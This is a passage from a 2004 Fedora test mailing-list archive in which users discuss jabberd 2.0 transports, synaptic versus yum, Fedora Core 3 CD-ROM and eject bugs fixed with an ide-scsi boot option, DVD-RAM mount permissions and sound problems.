system we >> > built yesterday. I have no idea where to start. Any tips/pointers to >> > FAQs and how-to's would be greatly appreciated. This will be an >> > internal, private messaging system, so we could get away with the basic >> > transports. >> >> i vote for jabber server too > > A reliably-function jabber server is the first requirement. > > test out jabberd 2.0s4 some and see if it is stable before requesting i am currently having jabber 2.0s4 running on my machine, seems to be stable, but i cannot get the transports running. this is test, but you can have an account if you want to, but there is no guarantee at all for uptime as i am testing, and i have just 1 machine for jabber 1 and jabber2 hostname: gandalf.gwch.net i am roger at gandalf.gwch.net > it. > > -sv > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From fedora at wir-sind-cool.org Thu Nov 11 15:24:19 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Thu, 11 Nov 2004 16:24:19 +0100 Subject: Jabber 2 In-Reply-To: <41896.62.2.21.164.1100180523.squirrel@62.2.21.164> References: <41896.62.2.21.164.1100180523.squirrel@62.2.21.164> Message-ID: <20041111162419.6ce258bf.fedora@wir-sind-cool.org> On Thu, 11 Nov 2004 14:42:03 +0100 (CET), Roger Grosswiler wrote: > i currently run jabber 1.4.3 with kevin sonney's rpms and all transports. All works well - except the > aim/icq-transport. Chatting with the jabber-community was for me for no success, so i decided to change to jabber 2 - > where unfortunately are no rpm's available. > > jabber works well on fc2 and fc3 (had to compile it, 2-3 deps, but it works...) - but i cannot get the transports > running. I tried that legacy-thing with the 1.4.3-7 rpms, but i did not get this thing up and running... > > Do you have an idea, where i could get some more rpm's or is somebody here experienced with this issue? I know, it's > the false mailing list, so sorry. I'd like to point to https://bugzilla.fedora.us/show_bug.cgi?id=1875 again where a few fedora community members work on a jabberd 2.0 package for Fedora Extras. If your problem with transports is a problem in the jabberd code rather than a packaging problem, please join there, help testing, and share your experience. -- Fedora Core release 3 (Heidelberg) - Linux 2.6.9-1.667 loadavg: 1.29 1.14 1.07 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From davej at redhat.com Thu Nov 11 15:29:28 2004 From: davej at redhat.com (Dave Jones) Date: Thu, 11 Nov 2004 10:29:28 -0500 Subject: problem with kernel-2.6.9-1.1_FC2 initrd - can't recreate, but disturbing In-Reply-To: <20041111060442.GA9576@jadzia.bu.edu> References: <20041110215721.GA25092@jadzia.bu.edu> <20041110230147.GD8800@redhat.com> <20041111003521.GA31268@jadzia.bu.edu> <20041111005430.GB25288@redhat.com> <20041111045649.GA7281@jadzia.bu.edu> <20041111050549.GA25545@redhat.com> <20041111052427.GA8207@jadzia.bu.edu> <20041111053444.GB25545@redhat.com> <20041111060442.GA9576@jadzia.bu.edu> Message-ID: <20041111152928.GA22473@redhat.com> On Thu, Nov 11, 2004 at 01:04:42AM -0500, Matthew Miller wrote: > On Thu, Nov 11, 2004 at 12:34:44AM -0500, Dave Jones wrote: > > > Works fine on another test system too. *sigh* -- nothing worse than > > > irreproducible results. > > > What about ? > > that's on my list for tomorrows fun. *sigh*. > > :) > > > > Oh, and also, is that underscore in the package release just a temporary > > > testing thing? I hope so, 'cause it's really ugly. :) > > Without it, theres no way to distinguish a 2.6.9-1.1 for FC2 from > > a 2.6.9-1.1 from FC3 development (extreme example used, but you get the > > idea). I still occasionally see folks filing bugs against _ancient_ > > kernels, so its feasible that it could come from either. > > The alternative would've been something like 2.6.9-1.1.1 > > I kinda prefer the alternative. Or something like > "kernel-2.6.9-1.2.FC2.src.rpm" like a lot of the other Fedora updates. I'm > afraid the underscore is going to break something somewhere. Ah, I actually tried .FC2. Our new CVS infrastructure broke, so this was easier, quicker, and didn't involve giving Cristian a headache 8) Dave From pauljohn at ku.edu Thu Nov 11 15:31:38 2004 From: pauljohn at ku.edu (Paul Johnson) Date: Thu, 11 Nov 2004 09:31:38 -0600 Subject: Why don't you guys like synaptic? Message-ID: <419385DA.4080105@ku.edu> I think synaptic (GUI RPM package manager) is the greatest! Since FC1, I've like it. You can see how much space packages take, you can add ones you don't have already and did not know about by browsing the list, you can find upgrades on various servers. But I don't hear any talk about it in here. Instead, you like that boring old yum that has no pointy-clicky pizzazz and makes my head hurt with syntax and fancy footwork. Synaptic used to be front-and-center in the FC1 support web sites, but now it disappears from them. Why? For example, the "Fedora Core 2 Tips and Tricks" page, which I have found helpful, has dropped reference to synaptic http://home.gagme.com/greg/linux/fc2-tips.php up2date has very few of the synaptic features, you know. up2date doesn't list all available packages, doesn't let you see how many megs each one takes after installation. Doesn't help you delete packages and figure out dependencies. The only problem I have with synaptic is figuring how to change my configuration to point at FC tests and upgrades. So if you guys would use synaptic too, then maybe you would post info on how I should configure my repository settings so I can keep up with FC testing. ?? -- Paul E. Johnson email: pauljohn at ku.edu Dept. of Political Science http://lark.cc.ku.edu/~pauljohn 1541 Lilac Lane, Rm 504 University of Kansas Office: (785) 864-9086 Lawrence, Kansas 66044-3177 FAX: (785) 864-5700 From mattdm at mattdm.org Thu Nov 11 15:39:44 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Thu, 11 Nov 2004 10:39:44 -0500 Subject: Why don't you guys like synaptic? In-Reply-To: <419385DA.4080105@ku.edu> References: <419385DA.4080105@ku.edu> Message-ID: <20041111153944.GA24200@jadzia.bu.edu> On Thu, Nov 11, 2004 at 09:31:38AM -0600, Paul Johnson wrote: > I think synaptic (GUI RPM package manager) is the greatest! Since FC1, Synaptic requires apt. Apt is also great, but doesn't support multiarch, which is required for the x86_64 Fedora Core. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From lux at diesel-research.com Thu Nov 11 15:41:52 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 08:41:52 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. Message-ID: <1100187712.4454.26.camel@localhost.localdomain> Fedora Core 3 is an outstanding OS except for a few (sometimes very big) flaws. I've got big problems with KsCD, CDROM access in general and grip. There were messages on the list about uDev problems with CDROMs before the release. Why did we announce a big FC3 release when these problems weren't fixed ? I fear that this sort of thing gives Linux in general a big fat black eye CDROM access: CDROM access on my computers has been iffy ever since upgrading to FC3 (ie FC3t3, FC3rc3, FC3rc5, FC3 Final.) Clicking CDROM in devices in KDE's File Manager used to give me mounting error messages, but I used to be able to mount CDROMs manually. With FC3 Final, I have absolutely no CDROM access. I cannot eject a CDROM without rebooting. Needless to say, this is a big pain. I think this is entirely unacceptable in a final release. KsCD: has always been a troublesome app. It will now lock my machine up entirely if I play a CD with scratches on it. Either KsCD needs to be fixed or it shouldn't ship with Fedora anymore. How can we keep shiping an application that is so buggy ? I've hated KsCD since RH8 for issues where it locks up the computer or interferes with other devices needing access to the CDROM. grip: is now totally incapacitated. It crashes with a segmentation fault at start up. The first day I installed FC3, it ripped half a dozen CDs very well. Then it hit a CD with scratches and it has gone into some sort of loop that it can't get out of, not even with rebooting. While I am very happy with FC3 in general, I am very disappointed with the fact that these large problems remained in a final version. I know there was pressure for the team to keep up with the schedule, but was it worth shipping a distro that is now going to cause a lot of people a lot of headaches ? I've got mixed feelings about the whole Fedora effort. I'm not sure that its mandate is in sync with users. Is its focus on producing a good, stable, usable distro for everyday use by run of the mill Linux users or is it to push out Linux technology ASAP so that it gets tested ? I guess I've got the feeling that FC3 went out the door a bit early and could have used another 2 weeks of testing and bug fixes. I'm sure that the team adhered to the "it doesn't wreck any data" criteria, but I think there are a few areas in FC3 that should have been polished a bit more before it went out the door. I've got a suggestion: I think that Fedora should continue its "bleeding edge" mentality and that it should strive to ship 2-3 releases a year. However, I think there should be sub releases in between releases that do nothing but make the previous release perfect. For example, I think the team should start working on a Fedora 3.1 release that fixes CDROM access, sound and a few other issues that seem to remain in this release. The goal should be a near perfect release before the team focuses on Fedora Core 4. CDROM access will need to be fixed prior to FC4, so why not gather that and other fixes and put them in another release ? -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Thu Nov 11 15:43:49 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 08:43:49 -0700 Subject: Why don't you guys like synaptic? In-Reply-To: <419385DA.4080105@ku.edu> References: <419385DA.4080105@ku.edu> Message-ID: <1100187829.4454.29.camel@localhost.localdomain> I love synaptic. I don't understand why FC ships without it. It might have a few issues with dependencies, but so does rpm ! I think synaptic is the best app installer available anywhere, with yum a close second. I had to install Windows software a few weeks back and I almost gagged at how bad it was. On Thu, 2004-11-11 at 09:31 -0600, Paul Johnson wrote: > I think synaptic (GUI RPM package manager) is the greatest! Since FC1, > I've like it. You can see how much space packages take, you can add ones > you don't have already and did not know about by browsing the list, you > can find upgrades on various servers. > > But I don't hear any talk about it in here. Instead, you like that > boring old yum that has no pointy-clicky pizzazz and makes my head hurt > with syntax and fancy footwork. Synaptic used to be front-and-center in > the FC1 support web sites, but now it disappears from them. Why? > > For example, the "Fedora Core 2 Tips and Tricks" page, which I have > found helpful, has dropped reference to synaptic > > http://home.gagme.com/greg/linux/fc2-tips.php > > up2date has very few of the synaptic features, you know. up2date doesn't > list all available packages, doesn't let you see how many megs each one > takes after installation. Doesn't help you delete packages and figure > out dependencies. > > The only problem I have with synaptic is figuring how to change my > configuration to point at FC tests and upgrades. So if you guys would > use synaptic too, then maybe you would post info on how I should > configure my repository settings so I can keep up with FC testing. > > ?? > > -- > Paul E. Johnson email: pauljohn at ku.edu > Dept. of Political Science http://lark.cc.ku.edu/~pauljohn > 1541 Lilac Lane, Rm 504 > University of Kansas Office: (785) 864-9086 > Lawrence, Kansas 66044-3177 FAX: (785) 864-5700 > -- Kim Lux (Mr.) Diesel Research Inc From byte at aeon.com.my Thu Nov 11 07:33:27 2004 From: byte at aeon.com.my (Colin Charles) Date: Thu, 11 Nov 2004 18:33:27 +1100 Subject: yum update from RC5 to full release possible? In-Reply-To: <200411071449.45240.tim@birdsnest.maths.tcd.ie> References: <200411060111.24328.gene.heskett@verizon.net> <1099806537.3414.74.camel@hermione.soho.bytebot.net> <1099835767.4821.54.camel@RuneLinux.tamn.local> <200411071449.45240.tim@birdsnest.maths.tcd.ie> Message-ID: <1100158407.3374.9.camel@hermione.soho.bytebot.net> On Sun, 2004-11-07 at 14:49 +0000, Timothy Murphy wrote: > > The reason I ask, is that my system still shows is as test2 although I > > am current to RAWHIDE. > > How exactly did you install "RAWHIDE"? Burn a boot.iso from a daily push, and install from that tree, via nfs/http/ftp for instance Then you can install Rawhide (development) For x86, its under the isolinux/ directory, and for ppc, its under images/mac directory (iirc, totally offhand) -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From byte at aeon.com.my Thu Nov 11 07:38:06 2004 From: byte at aeon.com.my (Colin Charles) Date: Thu, 11 Nov 2004 18:38:06 +1100 Subject: What I hope is not in FC3 In-Reply-To: References: <418D9766.1030204@insight.rr.com> <20041107023938.GB12856@devserv.devel.redhat.com> <1099988634l.3536l.2l@devel.mpeters.us> <20041109102622.GH11935@devserv.devel.redhat.com> Message-ID: <1100158686.3374.14.camel@hermione.soho.bytebot.net> On Tue, 2004-11-09 at 11:58 +0100, Maciej ?enczykowski wrote: > > 2.4.x works 2.6.x doesnt. Upgrade to the ide-scsi driver and it will work > > as will eject. > > Eject doesn't work on 2.6? On my FC2 box it works fine. Yes eject does - it was a bug during release cycle where /dev/cdrom wasn't provided (I remember filing this), but it got fixed -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From byte at aeon.com.my Thu Nov 11 07:35:48 2004 From: byte at aeon.com.my (Colin Charles) Date: Thu, 11 Nov 2004 18:35:48 +1100 Subject: Another NetworkManager question In-Reply-To: References: <77e74f3e04110607224a60c073@mail.gmail.com> Message-ID: <1100158549.3374.12.camel@hermione.soho.bytebot.net> On Sun, 2004-11-07 at 10:02 -0500, Dan Williams wrote: > > How is it possible that iwconfig and NM applet show conflicting information ? > > In this case at least a 30% signal strength means that NM applet information > > is actually incorrect. > > Orinoco cards have problems. My orinoco card (and I've had the same > report from 2 other people) will refuse to associate with an AP when its > strength is low. However, it will report being connected to an AP when it > clearly cannot be. For example: I was playing with NetworkManagerInfo today on my Mac. I had to manually add the name of the network I wanted to connect to (because scanning w/Airport cards doesn't work), and afterward, I managed to completely hard lock my system, requiring a hard reboot I didn't get any appropriate debugging information either... This is FC3/ppc -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From lux at diesel-research.com Thu Nov 11 15:52:56 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 08:52:56 -0700 Subject: What I hope is not in FC3 In-Reply-To: <1100158686.3374.14.camel@hermione.soho.bytebot.net> References: <418D9766.1030204@insight.rr.com> <20041107023938.GB12856@devserv.devel.redhat.com> <1099988634l.3536l.2l@devel.mpeters.us> <20041109102622.GH11935@devserv.devel.redhat.com> <1100158686.3374.14.camel@hermione.soho.bytebot.net> Message-ID: <1100188376.4454.32.camel@localhost.localdomain> I am running FC3 final with all the updates and eject doesn't work on my machine. Could you explain this: "Upgrade to the ide-scsi driver and it will work as will eject." Are you saying I should add a boot option of CDROM=ide-scsi ? Thanks. On Thu, 2004-11-11 at 18:38 +1100, Colin Charles wrote: > On Tue, 2004-11-09 at 11:58 +0100, Maciej ?enczykowski wrote: > > > 2.4.x works 2.6.x doesnt. Upgrade to the ide-scsi driver and it will work > > > as will eject. > > > > Eject doesn't work on 2.6? On my FC2 box it works fine. > > Yes eject does - it was a bug during release cycle where /dev/cdrom > wasn't provided (I remember filing this), but it got fixed > -- > Colin Charles, byte at aeon.com.my > http://www.bytebot.net/ > "First they ignore you, then they laugh at you, then they fight you, > then you win." -- Mohandas Gandhi > -- Kim Lux (Mr.) Diesel Research Inc From cervajs at fpf.slu.cz Thu Nov 11 16:08:04 2004 From: cervajs at fpf.slu.cz (marek cervenka) Date: Thu, 11 Nov 2004 17:08:04 +0100 (CET) Subject: java (tomcat&others) Message-ID: hi, why is tomcat and other java related things droped from FC3? i cannot find any informations about that thanks --------------------------------------- Marek Cervenka Centrum Vypocetni Techniky CVT - http://cvt.fpf.slu.cz FPF SLU OPAVA - http://www.fpf.slu.cz LCNA - http://lcna.slu.cz ======================================= From david at fubar.dk Thu Nov 11 15:57:57 2004 From: david at fubar.dk (David Zeuthen) Date: Thu, 11 Nov 2004 10:57:57 -0500 Subject: DVD Ram Mounting Issue In-Reply-To: <20041110225920.GA30430@devserv.devel.redhat.com> References: <1099676455.3768.2.camel@apple.bananas.hopto.org> <1100118109.7649.3.camel@davidz> <20041110225920.GA30430@devserv.devel.redhat.com> Message-ID: <1100188677.4014.7.camel@davidz> On Wed, 2004-11-10 at 17:59 -0500, Alan Cox wrote: > On Wed, Nov 10, 2004 at 03:21:49PM -0500, David Zeuthen wrote: > > Can anyone see an issue (security etc) with doing that? For traditional > > optical media it will get mounted 'ro' anyway. > > CD-RW erasure comes under ro v rw and SG_IO rights to go around the back > of a file system. I think it all depends on your trust model for the > system which goes back to stuff filed for FC4 so the user can specify that. > Hey, aren't you talking about rw access to the device node, say /dev/hdc or /dev/cdwriter? The console user already got these rw rights otherwise e.g. nautilus-cd-burner wouldn't be very useful. For instance, today I may mount a filesystem from a CD-RW and then erase the disc at the same time (which should be fixed by putting some brains into the CD burning/erasing software; e.g. check if (parts of) the disc is already mounted; maybe it's already there, dunno). > I've no strong opinion either way but if it is changed in an update it > needs good documenting and might also need a kernel detail fixing > Can you clarify what kernel fixing is needed? It is my understanding that only DVD-RAM drives with DVD-RAM media will allow one to mount a filesystem rw (for optical drives) - is this correct? Thanks, David From alan at redhat.com Thu Nov 11 15:59:41 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 11 Nov 2004 10:59:41 -0500 Subject: DVD Ram Mounting Issue In-Reply-To: <1100188677.4014.7.camel@davidz> References: <1099676455.3768.2.camel@apple.bananas.hopto.org> <1100118109.7649.3.camel@davidz> <20041110225920.GA30430@devserv.devel.redhat.com> <1100188677.4014.7.camel@davidz> Message-ID: <20041111155941.GC4243@devserv.devel.redhat.com> On Thu, Nov 11, 2004 at 10:57:57AM -0500, David Zeuthen wrote: > Hey, aren't you talking about rw access to the device node, say /dev/hdc > or /dev/cdwriter? The console user already got these rw rights otherwise > e.g. nautilus-cd-burner wouldn't be very useful. Correct > > needs good documenting and might also need a kernel detail fixing > > Can you clarify what kernel fixing is needed? Need to implement revoke() fairly soon, but that needs doing anywhere > It is my understanding that only DVD-RAM drives with DVD-RAM media will > allow one to mount a filesystem rw (for optical drives) - is this > correct? Correct, but if you were to say erase an ext2fs while its mounted you'll crash the machine probably From temlakos at comcast.net Thu Nov 11 16:11:38 2004 From: temlakos at comcast.net (Temlakos) Date: Thu, 11 Nov 2004 11:11:38 -0500 Subject: Why don't you guys like synaptic? In-Reply-To: <419385DA.4080105@ku.edu> References: <419385DA.4080105@ku.edu> Message-ID: <1100189498.2399.26.camel@localhost.localdomain> I've been a Synaptic user for a long time. To address your specific issue, try looking for fedora.us apt repositories. Several times I've done Synaptic upgrades that have made the red flashing exclamation point (that's "screamer" in the UK) disappear. One problem I have is that the atrpms repos sometimes produce conflicts with regular Fedora Core repos, so I have to wait a week for the conflicts to resolve. That's happened twice in the last four weeks. Other than that, I would encourage the Fedora developers to develop a port of Synaptic to Fedora Core and distribute it with the OS. Failing that, however, you can always install it yourself. Temlakos On Thu, 2004-11-11 at 10:31, Paul Johnson wrote: > I think synaptic (GUI RPM package manager) is the greatest! Since FC1, > I've like it. You can see how much space packages take, you can add ones > you don't have already and did not know about by browsing the list, you > can find upgrades on various servers. > > But I don't hear any talk about it in here. Instead, you like that > boring old yum that has no pointy-clicky pizzazz and makes my head hurt > with syntax and fancy footwork. Synaptic used to be front-and-center in > the FC1 support web sites, but now it disappears from them. Why? > > For example, the "Fedora Core 2 Tips and Tricks" page, which I have > found helpful, has dropped reference to synaptic > > http://home.gagme.com/greg/linux/fc2-tips.php > > up2date has very few of the synaptic features, you know. up2date doesn't > list all available packages, doesn't let you see how many megs each one > takes after installation. Doesn't help you delete packages and figure > out dependencies. > > The only problem I have with synaptic is figuring how to change my > configuration to point at FC tests and upgrades. So if you guys would > use synaptic too, then maybe you would post info on how I should > configure my repository settings so I can keep up with FC testing. > > ?? > > -- > Paul E. Johnson email: pauljohn at ku.edu > Dept. of Political Science http://lark.cc.ku.edu/~pauljohn > 1541 Lilac Lane, Rm 504 > University of Kansas Office: (785) 864-9086 > Lawrence, Kansas 66044-3177 FAX: (785) 864-5700 From lux at diesel-research.com Thu Nov 11 16:20:43 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 09:20:43 -0700 Subject: What I hope is not in FC3 In-Reply-To: <1100188376.4454.32.camel@localhost.localdomain> References: <418D9766.1030204@insight.rr.com> <20041107023938.GB12856@devserv.devel.redhat.com> <1099988634l.3536l.2l@devel.mpeters.us> <20041109102622.GH11935@devserv.devel.redhat.com> <1100158686.3374.14.camel@hermione.soho.bytebot.net> <1100188376.4454.32.camel@localhost.localdomain> Message-ID: <1100190043.3754.1.camel@localhost.localdomain> I added hdc=ide-scsi to the boot command in grub. I can now manually eject cdroms (ie eject scd0 from Konsole.) Right clicking the desktop CDROM icon does NOT work. grip now works as well. On Thu, 2004-11-11 at 08:52 -0700, Kim Lux wrote: > I am running FC3 final with all the updates and eject doesn't work on my > machine. Could you explain this: "Upgrade to the ide-scsi driver and it > will work as will eject." > > Are you saying I should add a boot option of CDROM=ide-scsi ? > > Thanks. > > > On Thu, 2004-11-11 at 18:38 +1100, Colin Charles wrote: > > On Tue, 2004-11-09 at 11:58 +0100, Maciej ?enczykowski wrote: > > > > 2.4.x works 2.6.x doesnt. Upgrade to the ide-scsi driver and it will work > > > > as will eject. > > > > > > Eject doesn't work on 2.6? On my FC2 box it works fine. > > > > Yes eject does - it was a bug during release cycle where /dev/cdrom > > wasn't provided (I remember filing this), but it got fixed > > -- > > Colin Charles, byte at aeon.com.my > > http://www.bytebot.net/ > > "First they ignore you, then they laugh at you, then they fight you, > > then you win." -- Mohandas Gandhi > > > -- > Kim Lux (Mr.) Diesel Research Inc > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Thu Nov 11 16:21:09 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 09:21:09 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100187712.4454.26.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> Message-ID: <1100190069.3754.3.camel@localhost.localdomain> I added hdc=ide-scsi to the boot command in grub. I can now manually eject cdroms (ie eject scd0 from Konsole.) Right clicking the desktop CDROM icon does NOT work. grip now works as well. At least I've got CDROM access again. On Thu, 2004-11-11 at 08:41 -0700, Kim Lux wrote: > Fedora Core 3 is an outstanding OS except for a few (sometimes very big) > flaws. > > I've got big problems with KsCD, CDROM access in general and grip. > There were messages on the list about uDev problems with CDROMs before > the release. Why did we announce a big FC3 release when these problems > weren't fixed ? I fear that this sort of thing gives Linux in general a > big fat black eye > > CDROM access: CDROM access on my computers has been iffy ever since > upgrading to FC3 (ie FC3t3, FC3rc3, FC3rc5, FC3 Final.) Clicking CDROM > in devices in KDE's File Manager used to give me mounting error > messages, but I used to be able to mount CDROMs manually. With FC3 > Final, I have absolutely no CDROM access. I cannot eject a CDROM > without rebooting. Needless to say, this is a big pain. I think this > is entirely unacceptable in a final release. > > KsCD: has always been a troublesome app. It will now lock my machine up > entirely if I play a CD with scratches on it. Either KsCD needs to be > fixed or it shouldn't ship with Fedora anymore. How can we keep shiping > an application that is so buggy ? I've hated KsCD since RH8 for issues > where it locks up the computer or interferes with other devices needing > access to the CDROM. > > grip: is now totally incapacitated. It crashes with a segmentation > fault at start up. The first day I installed FC3, it ripped half a > dozen CDs very well. Then it hit a CD with scratches and it has gone > into some sort of loop that it can't get out of, not even with > rebooting. > > While I am very happy with FC3 in general, I am very disappointed with > the fact that these large problems remained in a final version. I know > there was pressure for the team to keep up with the schedule, but was it > worth shipping a distro that is now going to cause a lot of people a lot > of headaches ? > > I've got mixed feelings about the whole Fedora effort. I'm not sure > that its mandate is in sync with users. Is its focus on producing a > good, stable, usable distro for everyday use by run of the mill Linux > users or is it to push out Linux technology ASAP so that it gets > tested ? > > I guess I've got the feeling that FC3 went out the door a bit early and > could have used another 2 weeks of testing and bug fixes. I'm sure that > the team adhered to the "it doesn't wreck any data" criteria, but I > think there are a few areas in FC3 that should have been polished a bit > more before it went out the door. > > I've got a suggestion: I think that Fedora should continue its "bleeding > edge" mentality and that it should strive to ship 2-3 releases a year. > However, I think there should be sub releases in between releases that > do nothing but make the previous release perfect. > > For example, I think the team should start working on a Fedora 3.1 > release that fixes CDROM access, sound and a few other issues that seem > to remain in this release. The goal should be a near perfect release > before the team focuses on Fedora Core 4. CDROM access will need to be > fixed prior to FC4, so why not gather that and other fixes and put them > in another release ? > > -- > Kim Lux (Mr.) Diesel Research Inc > -- Kim Lux (Mr.) Diesel Research Inc From douglas.furlong at firebox.com Thu Nov 11 16:22:09 2004 From: douglas.furlong at firebox.com (Douglas Furlong) Date: Thu, 11 Nov 2004 16:22:09 +0000 Subject: Why don't you guys like synaptic? In-Reply-To: <1100189498.2399.26.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100189498.2399.26.camel@localhost.localdomain> Message-ID: <1100190129.3313.75.camel@douglas-furlong.firebox.com> On Thu, 2004-11-11 at 11:11 -0500, Temlakos wrote: > Other than that, I would encourage the Fedora developers to develop a > port of Synaptic to Fedora Core and distribute it with the OS. Failing > that, however, you can always install it yourself. Believe it or not this HAS been discussed in the past, as stated in a reply to this post some where else, we are using yum due to the multiple arch ability. I believe the yum and possible apt group are looking (in the long term) to work together so that repositories are interchangeable between apt and yum. This would make things like porting synaptic much easier, I believe. So in short, I believe it is being worked on, may be an idea to go to the fedora dev list. -- Douglas Furlong Systems Administrator Firebox.com T: 0870 420 4475 F: 0870 220 2178 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From whooperhsd3 at earthlink.net Thu Nov 11 16:32:31 2004 From: whooperhsd3 at earthlink.net (William Hooper) Date: Thu, 11 Nov 2004 11:32:31 -0500 (EST) Subject: Why don't you guys like synaptic? In-Reply-To: <1100187829.4454.29.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> Message-ID: <4348.12.29.16.103.1100190751.squirrel@whooper.org> Kim Lux said: > I love synaptic. I don't understand why FC ships without it. It might > have a few issues with dependencies, but so does rpm ! [snip] It seems to have to be mentioned every time, but apt isn't a packaging system. Apt on Fedora uses RPM to install the packages. The issues with apt aren't dependencies, it is the lack of multi-arch support and the fact that yum is written in python (which is the Red Hat preferred language). -- William Hooper From whooperhsd3 at earthlink.net Thu Nov 11 16:43:05 2004 From: whooperhsd3 at earthlink.net (William Hooper) Date: Thu, 11 Nov 2004 11:43:05 -0500 (EST) Subject: Why don't you guys like synaptic? In-Reply-To: <419385DA.4080105@ku.edu> References: <419385DA.4080105@ku.edu> Message-ID: <1047.12.29.16.103.1100191385.squirrel@whooper.org> Paul Johnson said: [snip] > Synaptic used to be front-and-center in > the FC1 support web sites, but now it disappears from them. Why? [snip] You would have to ask those web sites. Apt and Synaptic have never been a part of the Fedora Core release, they have always been "Extras". -- William Hooper From johnh at comp.leeds.ac.uk Thu Nov 11 16:48:04 2004 From: johnh at comp.leeds.ac.uk (John Hodrien) Date: Thu, 11 Nov 2004 16:48:04 +0000 (GMT) Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100187712.4454.26.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> Message-ID: On Thu, 11 Nov 2004, Kim Lux wrote: > However, I think there should be sub releases in between releases that > do nothing but make the previous release perfect. Nothing like setting your goals high... Fedora isn't supposed to be making a perfectly stable safe distro. It aims to be a little bit more "out there". Non-Objective #1 sums it up nicely. If you want to complain about FC3 being buggy, don't use it. FC2 is still being supported, so why are you running the absolute bleeding edge? jh -- "My mother said to me, "If you become a soldier, you'll be a general; if you become a monk, you'll end up as the pope." Instead, I became a painter, and wound up Picasso." -- Pablo Picasso From jerone at gmail.com Thu Nov 11 16:49:33 2004 From: jerone at gmail.com (Jerone Young) Date: Fri, 12 Nov 2004 10:49:33 +1800 Subject: FC3 Final: no sound In-Reply-To: <1100127247.7040.0.camel@x1-6-00-0a-e6-c7-6f-d8> References: <419296B5.5000009@linux.net.mk> <1100127247.7040.0.camel@x1-6-00-0a-e6-c7-6f-d8> Message-ID: <9f50a7a00411110849fec3736@mail.gmail.com> What soundcard do you have? What motherboard? I'm using the snd-via82xx with no problem with my Abit A8V & Asus K8V. On Wed, 10 Nov 2004 16:54:07 -0600, amazing powers of observation wrote: > no sound here eathier > > > On Wed, 2004-11-10 at 23:31 +0100, Arangel Angov wrote: > > I upgraded FC3 from FC3rc1 and I don't have sound. The module is > > snd-via82xx, its loaded and the sound config tool detects it but still I > > get no sound. When I try to raise the sound on the volume control applet > > it just goes down. When I try to open the controls I get "Sorry no sound > > devices/elements found"... I removed the module and inserted it again > > but no luck. Everything worked fine with rc1. Anyone having similiar > > problems? > > > > Arangel > > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From lux at diesel-research.com Thu Nov 11 16:49:42 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 09:49:42 -0700 Subject: Why don't you guys like synaptic? In-Reply-To: <4348.12.29.16.103.1100190751.squirrel@whooper.org> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> Message-ID: <1100191782.4055.5.camel@localhost.localdomain> That was my point: synaptic and apt use rpms. So if I've got a dependency issue with apt and synaptic, I'll be having a dependency issue with rpms as well. I'd much, much rather use synaptic to take care of those issues than doing it manually with rpms. I've had to install packages in the past that have needed 6 to twelve other packages. (mplayer, xine, kdebase-devel of a new version, etc.) When synaptic can do the install it is much, much easier than manually doing it with rpms. I wasn't aware that synaptic was a single arch package. I don't think users care if synaptic isn't written in python. They just want a system to easily install packages with. I'd say it works pretty darn good 80-95% of the time. On Thu, 2004-11-11 at 11:32 -0500, William Hooper wrote: > Kim Lux said: > > I love synaptic. I don't understand why FC ships without it. It might > > have a few issues with dependencies, but so does rpm ! > [snip] > > It seems to have to be mentioned every time, but apt isn't a packaging > system. Apt on Fedora uses RPM to install the packages. The issues with > apt aren't dependencies, it is the lack of multi-arch support and the fact > that yum is written in python (which is the Red Hat preferred language). > > -- > William Hooper > -- Kim Lux (Mr.) Diesel Research Inc From skvidal at phy.duke.edu Thu Nov 11 16:48:04 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Thu, 11 Nov 2004 11:48:04 -0500 Subject: Why don't you guys like synaptic? In-Reply-To: <1100191782.4055.5.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> Message-ID: <1100191684.3094.38.camel@binkley> On Thu, 2004-11-11 at 09:49 -0700, Kim Lux wrote: > That was my point: synaptic and apt use rpms. So if I've got a > dependency issue with apt and synaptic, I'll be having a dependency > issue with rpms as well. I'd much, much rather use synaptic to take > care of those issues than doing it manually with rpms. > > I've had to install packages in the past that have needed 6 to twelve > other packages. (mplayer, xine, kdebase-devel of a new version, 